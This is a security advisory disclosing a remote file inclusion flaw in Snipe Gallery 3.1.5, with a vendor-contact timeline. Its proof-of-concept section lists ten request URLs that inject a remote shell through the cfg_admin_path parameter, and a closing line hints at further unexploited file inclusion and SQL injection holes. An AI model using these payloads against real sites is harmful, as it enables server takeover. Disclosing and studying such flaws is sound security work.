snipegallery-3.1.5 Multiple Remote FIle Vulnerability

========================================================================
snipegallery-3.1.5 Multiple Remote FIle Inclusion Vulnerability
========================================================================

Vendor: www.snipegallery.com
Download: http://sourceforge.net/project/showfiles.php?group_id=116929

Author: eidelweiss (eidelweiss[at]cyberservices.com
Blog: http://eidelweiss-advisories.blogspot.com
Thank`s: r0073r & 0x1D (inj3ct0r) , JosS , exploit-db team , [D]eal [C]yber
sp3x (securityreason) get-well brother
========================================================================
Description:

Snipe Gallery is a PHP/mySQL image management system featuring (but never limited to!)
automatic watermarking, dynamic thumbnailing, online cropping/custom thumbnail tool, image dropshadows, custom "picture frames" and more!

advisories:

2010/04/11 Vendor Contact (No Response)
2010/04/17 Vulnerability share to public (publish)

Original advisories :
========================================================================

-=[ P0C ]=-

http://127.0.0.1/path/index.php?cfg_admin_path=[inj3ct0r sh3ll]
http://127.0.0.1/path/view.php?cfg_admin_path=[inj3ct0r sh3ll]
http://127.0.0.1/path/image.php?cfg_admin_path=[inj3ct0r sh3ll]
http://127.0.0.1/path/search.php?cfg_admin_path=[inj3ct0r sh3ll]
http://127.0.0.1/path/admin/index.php?cfg_admin_path=[inj3ct0r sh3ll]
http://127.0.0.1/path/admin/gallery/index.php?cfg_admin_path=[inj3ct0r sh3ll]
http://127.0.0.1/path/admin/gallery/view.php?cfg_admin_path=[inj3ct0r sh3ll]
http://127.0.0.1/path/admin/gallery/gallery.php?cfg_admin_path=[inj3ct0r sh3ll]
http://127.0.0.1/path/admin/gallery/image.php.php?cfg_admin_path=[inj3ct0r sh3ll]
http://127.0.0.1/path/admin/gallery/crop.php?cfg_admin_path=[inj3ct0r sh3ll]

etc , etc , etc

=========================| -=[ E0F ]=- |=================================

NB: i also see any local file and SQL injection vulenerability there , Find it ;)